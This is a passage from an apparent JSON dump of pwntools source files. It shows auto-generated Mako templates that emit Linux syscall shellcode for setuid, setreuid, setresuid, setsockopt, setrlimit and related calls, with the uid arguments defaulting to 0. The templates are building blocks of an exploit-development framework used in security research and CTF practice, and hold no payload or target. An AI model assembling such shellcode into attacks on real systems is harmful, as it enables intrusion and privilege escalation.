    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>setresuid(ruid, euid, suid) -> str\n\nInvokes the syscall setresuid.\n\nSee 'man 2 setresuid' for more information.\n\nArguments:\n    ruid(uid_t): ruid\n    euid(uid_t): euid\n    suid(uid_t): suid\nReturns:\n    int\n</%docstring>\n<%page args=\"ruid=0, euid=0, suid=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['ruid', 'euid', 'suid']\n    argument_values = [ruid, euid, suid]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_setresuid']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_setresuid'])\n%>\n    /* setresuid(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/setresuid32.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>setresuid32(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall setresuid32.\n\nSee 'man 2 setresuid32' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_setresuid32']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_setresuid32'])\n%>\n    /* setresuid32(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/setreuid.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>setreuid(ruid, euid) -> str\n\nInvokes the syscall setreuid.\n\nSee 'man 2 setreuid' for more information.\n\nArguments:\n    ruid(uid_t): ruid\n    euid(uid_t): euid\nReturns:\n    int\n</%docstring>\n<%page args=\"ruid=0, euid=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['ruid', 'euid']\n    argument_values = [ruid, euid]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_setreuid']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_setreuid'])\n%>\n    /* setreuid(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/setreuid32.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>setreuid32(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall setreuid32.\n\nSee 'man 2 setreuid32' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_setreuid32']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_setreuid32'])\n%>\n    /* setreuid32(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/setrlimit.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>setrlimit(resource, rlimits) -> str\n\nInvokes the syscall setrlimit.\n\nSee 'man 2 setrlimit' for more information.\n\nArguments:\n    resource(rlimit_resource_t): resource\n    rlimits(rlimit*): rlimits\nReturns:\n    int\n</%docstring>\n<%page args=\"resource=0, rlimits=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['resource', 'rlimits']\n    argument_values = [resource, rlimits]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_setrlimit']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_setrlimit'])\n%>\n    /* setrlimit(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/setsid.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>setsid() -> str\n\nInvokes the syscall setsid.\n\nSee 'man 2 setsid' for more information.\n\nArguments:\n\nReturns:\n    pid_t\n</%docstring>\n<%page args=\"\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = []\n    argument_values = []\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_setsid']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_setsid'])\n%>\n    /* setsid(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/setsockopt.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>setsockopt(fd, level, optname, optval, optlen) -> str\n\nInvokes the syscall setsockopt.\n\nSee 'man 2 setsockopt' for more information.\n\nArguments:\n    fd(int): fd\n    level(int): level\n    optname(int): optname\n    optval(void*): optval\n    optlen(socklen_t): optlen\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, level=0, optname=0, optval=0, optlen=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['optval']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'level', 'optname', 'optval', 'optlen']\n    argument_values = [fd, level, optname, optval, optlen]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_setsockopt']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_setsockopt'])\n%>\n    /* setsockopt(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/settimeofday.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>settimeofday(tv, tz) -> str\n\nInvokes the syscall settimeofday.\n\nSee 'man 2 settimeofday' for more information.\n\nArguments:\n    tv(timeval*): tv\n    tz(timezone*): tz\nReturns:\n    int\n</%docstring>\n<%page args=\"tv=0, tz=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['tv', 'tz']\n    argument_values = [tv, tz]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_settimeofday']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_settimeofday'])\n%>\n    /* settimeofday(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/setuid.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>setuid(uid) -> str\n\nInvokes the syscall setuid.\n\nSee 'man 2 setuid' for more information.\n\nArguments:\n    uid(uid_t): uid\nReturns:\n    int\n</%docstring>\n<%page args=\"uid=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['uid']\n    argument_values = [uid]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_setuid']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_setuid'])\n%>\n    /* setuid(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/setuid32.asm",
